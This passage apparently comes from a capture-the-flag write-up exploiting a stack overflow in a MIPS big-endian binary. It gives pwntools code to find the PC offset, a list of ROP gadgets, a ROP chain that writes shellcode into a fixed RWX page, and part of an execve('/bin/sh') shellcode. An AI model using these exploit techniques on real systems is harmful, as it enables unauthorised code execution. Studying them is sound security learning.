&lt;&#x2F;span&gt;&lt;span&gt;    r.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(l))
&lt;&#x2F;span&gt;&lt;span&gt;    r.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;    r.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;    r.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# this will force passwords[0] to be overwritten with 0xA, making the password size length wrong
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    log.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;info&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;filling up the stack&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;raw_input&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;attach to gdb now...&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    pattern = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cyclic&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;2000&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;n&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;12&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        r.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(pattern[i*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;102&lt;&#x2F;span&gt;&lt;span&gt;:i*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;102&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;102&lt;&#x2F;span&gt;&lt;span&gt;])
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    r.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;interactive&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And we now know that the PC is controlled at offset 921, as we are on a Big
Endian architecture:&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;NYLt8XQ.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;NYLt8XQ.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;h4 id=&quot;rop-ing-to-a-fixed-area&quot;&gt;ROP-ing to a fixed area&lt;&#x2F;h4&gt;
&lt;p&gt;So great, we can control &lt;code&gt;$ra&lt;&#x2F;code&gt;, and therefore call any location. But the MIPS ABI
uses registers (from &lt;code&gt;$a0&lt;&#x2F;code&gt; to &lt;code&gt;$a3&lt;&#x2F;code&gt;) to store parameters of function
calls so we need to control (at least some of) them.&lt;&#x2F;p&gt;
&lt;p&gt;To achieve code execution, I decided to reach control only of &lt;code&gt;$a0&lt;&#x2F;code&gt; and &lt;code&gt;$a1&lt;&#x2F;code&gt;,
which is then sufficient to call &lt;code&gt;read_passwords(buffer, length)&lt;&#x2F;code&gt;, and have a
shellcode copied into one of the fixed RWX location.&lt;&#x2F;p&gt;
&lt;p&gt;After seeing too many ROP tools for MIPS fail, I simply used &lt;code&gt;objdump -D&lt;&#x2F;code&gt; to
find the following gadgets:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;0x00403ba4: Control &lt;code&gt;$s2&lt;&#x2F;code&gt; from a value given from the stack&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00403BA4&lt;&#x2F;span&gt;&lt;span&gt; lw      $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ra&lt;&#x2F;span&gt;&lt;span&gt;, 0x28+var_4($&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sp&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00403BA8&lt;&#x2F;span&gt;&lt;span&gt; lw      $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s2&lt;&#x2F;span&gt;&lt;span&gt;, 0x28+var_8($&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sp&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00403BAC&lt;&#x2F;span&gt;&lt;span&gt; lw      $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s1&lt;&#x2F;span&gt;&lt;span&gt;, 0x28+var_C($&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sp&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00403BB0&lt;&#x2F;span&gt;&lt;span&gt; lw      $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s0&lt;&#x2F;span&gt;&lt;span&gt;, 0x28+var_10($&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sp&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00403BB4&lt;&#x2F;span&gt;&lt;span&gt; jr      $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ra
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;0x403bbc: Use &lt;code&gt;$s2&lt;&#x2F;code&gt; to control &lt;code&gt;$v0&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00403BBC&lt;&#x2F;span&gt;&lt;span&gt; lw      $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ra&lt;&#x2F;span&gt;&lt;span&gt;, 0x28+var_4($&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sp&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00403BC0&lt;&#x2F;span&gt;&lt;span&gt; move    $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;v0&lt;&#x2F;span&gt;&lt;span&gt;, $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s2
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00403BC4&lt;&#x2F;span&gt;&lt;span&gt; lw      $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s1&lt;&#x2F;span&gt;&lt;span&gt;, 0x28+var_C($&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sp&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00403BC8&lt;&#x2F;span&gt;&lt;span&gt; lw      $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s2&lt;&#x2F;span&gt;&lt;span&gt;, 0x28+var_8($&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sp&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00403BCC&lt;&#x2F;span&gt;&lt;span&gt; lw      $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s0&lt;&#x2F;span&gt;&lt;span&gt;, 0x28+var_10($&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sp&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00403BD0&lt;&#x2F;span&gt;&lt;span&gt; jr      $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ra
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;0x00403b98: Use &lt;code&gt;$v0&lt;&#x2F;code&gt; to control &lt;code&gt;$a0&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00403B98&lt;&#x2F;span&gt;&lt;span&gt; move    $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;a0&lt;&#x2F;span&gt;&lt;span&gt;, $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;v0
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00403B9C&lt;&#x2F;span&gt;&lt;span&gt; bnez    $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s0&lt;&#x2F;span&gt;&lt;span&gt;, loc_403B7C
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00403BA0&lt;&#x2F;span&gt;&lt;span&gt; move    $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;a1&lt;&#x2F;span&gt;&lt;span&gt;, $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;zero
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;By re-using gadget@0x00403ba4 with 0x004038e8, we use &lt;code&gt;$s2&lt;&#x2F;code&gt; to control &lt;code&gt;$a1&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:004038E8&lt;&#x2F;span&gt;&lt;span&gt; move    $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;a1&lt;&#x2F;span&gt;&lt;span&gt;, $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s2
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:004038EC&lt;&#x2F;span&gt;&lt;span&gt; lw      $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ra&lt;&#x2F;span&gt;&lt;span&gt;, 0x30+var_4($&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sp&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:004038F0&lt;&#x2F;span&gt;&lt;span&gt; lw      $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s4&lt;&#x2F;span&gt;&lt;span&gt;, 0x30+var_8($&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sp&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:004038F4&lt;&#x2F;span&gt;&lt;span&gt; lw      $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s3&lt;&#x2F;span&gt;&lt;span&gt;, 0x30+var_C($&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sp&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:004038F8&lt;&#x2F;span&gt;&lt;span&gt; lw      $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s2&lt;&#x2F;span&gt;&lt;span&gt;, 0x30+var_10($&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sp&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:004038FC&lt;&#x2F;span&gt;&lt;span&gt; lw      $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s1&lt;&#x2F;span&gt;&lt;span&gt;, 0x30+var_14($&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sp&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00403900&lt;&#x2F;span&gt;&lt;span&gt; lw      $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;s0&lt;&#x2F;span&gt;&lt;span&gt;, 0x30+var_18($&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sp&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00403904&lt;&#x2F;span&gt;&lt;span&gt; sltiu   $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;v0&lt;&#x2F;span&gt;&lt;span&gt;, 1
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:00403908&lt;&#x2F;span&gt;&lt;span&gt; jr      $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ra
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can chain those 4 gadgets to entirely control &lt;code&gt;$a0&lt;&#x2F;code&gt; and &lt;code&gt;$a1&lt;&#x2F;code&gt; and then call
&lt;code&gt;read_passwords&lt;&#x2F;code&gt; to write a &lt;code&gt;execve(&#x27;&#x2F;bin&#x2F;sh&#x27;)&lt;&#x2F;code&gt; shellcode into one of fixed RWX pages (I’ve
chosen 0x004a8a00).&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;log.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;info&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;preparing ropchain&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;sfp = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p32&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x004a8000&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;set_s2 = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p32&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x403BA4&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;set_v0 = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p32&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x403BBC&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;set_a0 = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p32&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x403B98&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;set_a1 = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p32&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x4038e8&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;read_passwords = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p32&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x004015E8&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;a0 = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p32&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x004a8a00&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;a1 = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p32&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x100&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;p = &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;YOLO&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;2 &lt;&#x2F;span&gt;&lt;span&gt;+ sfp
&lt;&#x2F;span&gt;&lt;span&gt;p+= set_s2 + &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;YOLO&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8 &lt;&#x2F;span&gt;&lt;span&gt;+ a0 + set_v0 + &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p32&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;9 &lt;&#x2F;span&gt;&lt;span&gt;+ set_a0 + &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;YOLO&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8 &lt;&#x2F;span&gt;&lt;span&gt;+ &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ZZZ&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;p+= set_s2 + &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;YOLO&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8 &lt;&#x2F;span&gt;&lt;span&gt;+ a1 + set_a1 + &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;YOLO&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;10 &lt;&#x2F;span&gt;&lt;span&gt;+ &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Z&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;3
&lt;&#x2F;span&gt;&lt;span&gt;p+= read_passwords + &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;YOLO&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;9 &lt;&#x2F;span&gt;&lt;span&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p32&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x4a8a00&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;payload = p.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ljust&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;303&lt;&#x2F;span&gt;&lt;span&gt;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Z&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;r.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(payload[:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;102&lt;&#x2F;span&gt;&lt;span&gt;])
&lt;&#x2F;span&gt;&lt;span&gt;r.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(payload[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;102&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;204&lt;&#x2F;span&gt;&lt;span&gt;])
&lt;&#x2F;span&gt;&lt;span&gt;r.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(payload[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;204&lt;&#x2F;span&gt;&lt;span&gt;:])
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;shellcode-crafting&quot;&gt;Shellcode crafting&lt;&#x2F;h4&gt;
&lt;p&gt;For some reasons, the different shellcodes I had from external resources did not
work. So I decided to use &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.keystone-engine.org&quot;&gt;Keystone Engine&lt;&#x2F;a&gt; to
write one. Instead of writing totally from scratch, I used a template created
earlier as part of my project
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;cemu&#x2F;blob&#x2F;main&#x2F;cemu&#x2F;examples&#x2F;mipsbe_sys_exec_bin_sh.asm&quot;&gt;&lt;code&gt;cemu&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;
and adapted it:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;log.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;info&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;preparing shellcode&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;shellcode = [
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;li $sp, 0x4a8b00&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;li $v0, 0x2f62696e&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;sw $v0, 0($sp)&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;li $v0, 0x2f736800&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;sw $v0, 4($sp)&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;li $v0, 4011&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;move $a0, $sp&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;addiu $a1, $zero, 0&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;addiu $a2, $zero, 0&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;syscall&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;
